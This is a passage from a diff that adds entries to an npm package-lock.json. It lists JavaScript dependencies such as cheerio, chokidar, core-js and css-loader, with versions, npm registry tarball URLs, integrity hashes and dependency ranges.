"jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==" + }, + "regenerate-unicode-properties": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-9.0.0.tgz", + "integrity": "sha512-3E12UeNSPfjrgwjkR81m5J7Aw/T55Tu7nUyZVQYCKEOs+2dkxEY+DpPtZzO4YruuiPb7NkYLVcyJC4+zCbk5pA==", + "requires": { + "regenerate": "^1.4.2" + } + }, + "regexpu-core": { + "version": "4.8.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.8.0.tgz", + "integrity": "sha512-1F6bYsoYiz6is+oz70NWur2Vlh9KWtswuRuzJOfeYUrfPX2o8n74AnUVaOGDbUqVGO9fNHu48/pjJO4sNVwsOg==", + "requires": { + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^9.0.0", + "regjsgen": "^0.5.2", + "regjsparser": "^0.7.0", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.0.0" + } + }, + "regjsparser": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.7.0.tgz", + "integrity": "sha512-A4pcaORqmNMDVwUjWoTzuhwMGpP+NykpfqAsEgI1FSH/EzC7lrN5TMd+kN8YCovX+jMpu8eaqXgXPCa0g8FQNQ==", + "requires": { + "jsesc": "~0.5.0" + } + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==" + }, + "bytes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==" + }, + "call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "requires": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + } + }, + "callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==" + }, + "camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "requires": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==" + }, + "camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==" + }, + "caniuse-api": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "requires": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "caniuse-lite": { + "version": "1.0.30001522", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001522.tgz", + "integrity": "sha512-TKiyTVZxJGhsTszLuzb+6vUZSjVOAhClszBr2Ta2k9IwtNBT/4dzmL6aywt0HCgEZlmwJzXJd8yNiob6HgwTRg==" + }, + "ccount": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/ccount/-/ccount-1.1.0.tgz", + "integrity": "sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg==" + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "character-entities": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-1.2.4.tgz", + "integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw==" + }, + "character-entities-legacy": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz", + "integrity": "sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA==" + }, + "character-reference-invalid": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz", + "integrity": "sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg==" + }, + "cheerio": { + "version": "1.0.0-rc.12", + "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.0.0-rc.12.tgz", + "integrity": "sha512-VqR8m68vM46BNnuZ5NtnGBKIE/DfN0cRIzg9n40EIq9NOv90ayxLBXA8fXC5gquFRGJSTRqBq25Jt2ECLR431Q==", + "requires": { + "cheerio-select": "^2.1.0", + "dom-serializer": "^2.0.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1", + "htmlparser2": "^8.0.1", + "parse5": "^7.0.0", + "parse5-htmlparser2-tree-adapter": "^7.0.0" + } + }, + "cheerio-select": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cheerio-select/-/cheerio-select-2.1.0.tgz", + "integrity": "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==", + "requires": { + "boolbase": "^1.0.0", + "css-select": "^5.1.0", + "css-what": "^6.1.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1" + } + }, + "chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "requires": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "fsevents": "~2.3.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + } + }, + "chrome-trace-event": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==" + }, + "ci-info": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.8.0.tgz", + "integrity": "sha512-eXTggHWSooYhq49F2opQhuHWgzucfF2YgODK4e1566GQs5BIfP30B0oenwBJHfWxAs2fyPB1s7Mg949zLf61Yw==" + }, + "clean-css": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.2.tgz", + "integrity": "sha512-JVJbM+f3d3Q704rF4bqQ5UUyTtuJ0JRKNbTKVEeujCCBoMdkEi+V+e8oktO9qGQNSvHrFTM6JZRXrUvGR1czww==", + "requires": { + "source-map": "~0.6.0" + } + }, + "clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==" + }, + "cli-boxes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-3.0.0.tgz", + "integrity": "sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g==" + }, + "cli-table3": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/cli-table3/-/cli-table3-0.6.3.tgz", + "integrity": "sha512-w5Jac5SykAeZJKntOxJCrm63Eg5/4dhMWIcuTbo9rpE+brgaSZo0RuNJZeOyMgsUdhDeojvgyQLmjI+K50ZGyg==", + "requires": { + "@colors/colors": "1.5.0", + "string-width": "^4.2.0" + }, + "dependencies": { + "emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + } + } + }, + "clone-deep": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "requires": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + } + }, + "clone-response": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", + "integrity": "sha512-yjLXh88P599UOyPTFX0POsd7WxnbsVsGohcwzHOLspIhhpalPw1BcqED8NblyZLKcGrL8dTgMlcaZxV2jAD41Q==", + "requires": { + "mimic-response": "^1.0.0" + } + }, + "clsx": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.2.1.tgz", + "integrity": "sha512-EcR6r5a8bj6pu3ycsa/E/cKVGuTgZJZdsyUYHOksG/UHIiKfjxzRxYJpyVBwYaQeOvghal9fcc4PidlgzugAQg==" + }, + "collapse-white-space": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/collapse-white-space/-/collapse-white-space-1.0.6.tgz", + "integrity": "sha512-jEovNnrhMuqyCcjfEJA56v0Xq8SkIoPKDyaHahwo3POf4qcSXqMYuwNcOTzp74vTsR9Tn08z4MxWqAhcekogkQ==" + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "colord": { + "version": "2.9.3", + "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz", + "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==" + }, + "colorette": { + "version": "2.0.20", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==" + }, + "colors": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", + "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==" + }, + "combine-promises": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/combine-promises/-/combine-promises-1.2.0.tgz", + "integrity": "sha512-VcQB1ziGD0NXrhKxiwyNbCDmRzs/OShMs2GqW2DlU2A/Sd0nQxE1oWDAE5O0ygSx5mgQOn9eIFh7yKPgFRVkPQ==" + }, + "comma-separated-tokens": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-1.0.8.tgz", + "integrity": "sha512-GHuDRO12Sypu2cV70d1dkA2EUmXHgntrzbpvOB+Qy+49ypNfGgFQIC2fhhXbnyrJRynDCAARsT7Ou0M6hirpfw==" + }, + "commander": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", + "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==" + }, + "commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==" + }, + "component-props": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/component-props/-/component-props-1.1.1.tgz", + "integrity": "sha512-69pIRJs9fCCHRqCz3390YF2LV1Lu6iEMZ5zuVqqUn+G20V9BNXlMs0cWawWeW9g4Ynmg29JmkG6R7/lUJoGd1Q==" + }, + "component-xor": { + "version": "0.0.4", + "resolved": "https://registry.npmjs.org/component-xor/-/component-xor-0.0.4.tgz", + "integrity": "sha512-ZIt6sla8gfo+AFVRZoZOertcnD5LJaY2T9CKE2j13NJxQt/mUafD69Bl7/Y4AnpI2LGjiXH7cOfJDx/n2G9edA==" + }, + "compressible": { + "version": "2.0.18", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "requires": { + "mime-db": ">= 1.43.0 < 2" + } + }, + "compression": { + "version": "1.7.4", + "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz", + "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", + "requires": { + "accepts": "~1.3.5", + "bytes": "3.0.0", + "compressible": "~2.0.16", + "debug": "2.6.9", + "on-headers": "~1.0.2", + "safe-buffer": "5.1.2", + "vary": "~1.1.2" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, + "concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==" + }, + "configstore": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/configstore/-/configstore-5.0.1.tgz", + "integrity": "sha512-aMKprgk5YhBNyH25hj8wGt2+D52Sw1DRRIzqBwLp2Ya9mFmY8KPvvtvmna8SxVR9JMZ4kzMD68N22vlaRpkeFA==", + "requires": { + "dot-prop": "^5.2.0", + "graceful-fs": "^4.1.2", + "make-dir": "^3.0.0", + "unique-string": "^2.0.0", + "write-file-atomic": "^3.0.0", + "xdg-basedir": "^4.0.0" + } + }, + "connect-history-api-fallback": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz", + "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==" + }, + "consola": { + "version": "2.15.3", + "resolved": "https://registry.npmjs.org/consola/-/consola-2.15.3.tgz", + "integrity": "sha512-9vAdYbHj6x2fLKC4+oPH0kFzY/orMZyG2Aj+kNylHxKGJ/Ed4dpNyAQYwJOdqO4zdM7XpVHmyejQDcQHrnuXbw==" + }, + "content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "requires": { + "safe-buffer": "5.2.1" + } + }, + "content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==" + }, + "convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==" + }, + "cookie": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", + "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==" + }, + "cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" + }, + "copy-text-to-clipboard": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/copy-text-to-clipboard/-/copy-text-to-clipboard-3.2.0.tgz", + "integrity": "sha512-RnJFp1XR/LOBDckxTib5Qjr/PMfkatD0MUCQgdpqS8MdKiNUzBjAQBEN6oUy+jW7LI93BBG3DtMB2KOOKpGs2Q==" + }, + "copy-webpack-plugin": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/copy-webpack-plugin/-/copy-webpack-plugin-11.0.0.tgz", + "integrity": "sha512-fX2MWpamkW0hZxMEg0+mYnA40LTosOSa5TqZ9GYIBzyJa9C3QUaMPSE2xAi/buNr8u89SfD9wHSQVBzrRa/SOQ==", + "requires": { + "fast-glob": "^3.2.11", + "glob-parent": "^6.0.1", + "globby": "^13.1.1", + "normalize-path": "^3.0.0", + "schema-utils": "^4.0.0", + "serialize-javascript": "^6.0.0" + }, + "dependencies": { + "ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "requires": { + "fast-deep-equal": "^3.1.3" + } + }, + "glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "requires": { + "is-glob": "^4.0.3" + } + }, + "globby": { + "version": "13.2.2", + "resolved": "https://registry.npmjs.org/globby/-/globby-13.2.2.tgz", + "integrity": "sha512-Y1zNGV+pzQdh7H39l9zgB4PJqjRNqydvdYCDG4HFXM4XuvSaQQlEc91IU1yALL8gUTDomgBAfz3XJdmUS+oo0w==", + "requires": { + "dir-glob": "^3.0.1", + "fast-glob": "^3.3.0", + "ignore": "^5.2.4", + "merge2": "^1.4.1", + "slash": "^4.0.0" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "requires": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + } + }, + "slash": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==" + } + } + }, + "core-js": { + "version": "3.32.1", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.32.1.tgz", + "integrity": "sha512-lqufgNn9NLnESg5mQeYsxQP5w7wrViSj0jr/kv6ECQiByzQkrn1MKvV0L3acttpDqfQrHLwr2KCMgX5b8X+lyQ==" + }, + "core-js-compat": { + "version": "3.32.1", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.32.1.tgz", + "integrity": "sha512-GSvKDv4wE0bPnQtjklV101juQ85g6H3rm5PDP20mqlS5j0kXF3pP97YvAu5hl+uFHqMictp3b2VxOHljWMAtuA==", + "requires": { + "browserslist": "^4.21.10" + } + }, + "core-js-pure": { + "version": "3.32.1", + "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.32.1.tgz", + "integrity": "sha512-f52QZwkFVDPf7UEQZGHKx6NYxsxmVGJe5DIvbzOdRMJlmT6yv0KDjR8rmy3ngr/t5wU54c7Sp/qIJH0ppbhVpQ==" + }, + "core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "cosmiconfig": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.1.0.tgz", + "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", + "requires": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + } + }, + "cross-fetch": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.8.tgz", + "integrity": "sha512-cvA+JwZoU0Xq+h6WkMvAUqPEYy92Obet6UdKLfW60qn99ftItKjB5T+BkyWOFWe2pUyfQ+IJHmpOTznqk1M6Kg==", + "requires": { + "node-fetch": "^2.6.12" + }, + "dependencies": { + "node-fetch": { + "version": "2.6.13", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.13.tgz", + "integrity": "sha512-StxNAxh15zr77QvvkmveSQ8uCQ4+v5FkvNTj0OESmiHu+VRi/gXArXtkWMElOsOUNLtUEvI4yS+rdtOHZTwlQA==", + "requires": { + "whatwg-url": "^5.0.0" + } + } + } + }, + "cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "requires": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + } + }, + "crypto-random-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz", + "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==" + }, + "css-declaration-sorter": { + "version": "6.4.1", + "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz", + "integrity": "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==", + "requires": {} + }, + "css-loader": { + "version": "6.8.1", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.8.1.tgz", + "integrity": "sha512-xDAXtEVGlD0gJ07iclwWVkLoZOpEvAWaSyf6W18S2pOC//K8+qUDIx8IIT3D+HjnmkJPQeesOPv5aiUaJsCM2g==", + "requires": { + "icss-utils": "^5.1.0", + "postcss": "^8.4.21", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.3", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.3.8" + } + }, + "css-minimizer-webpack-plugin": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-4.2.2.tgz", + "integrity": "sha512-s3Of/4jKfw1Hj9CxEO1E5oXhQAxlayuHO2y/ML+C6I9sQ7FdzfEV6QgMLN3vI+qFsjJGIAFLKtQK7t8BOXAIyA==", + "requires": { + "cssnano": "^5.1.8", + "jest-worker": "^29.1.2", + 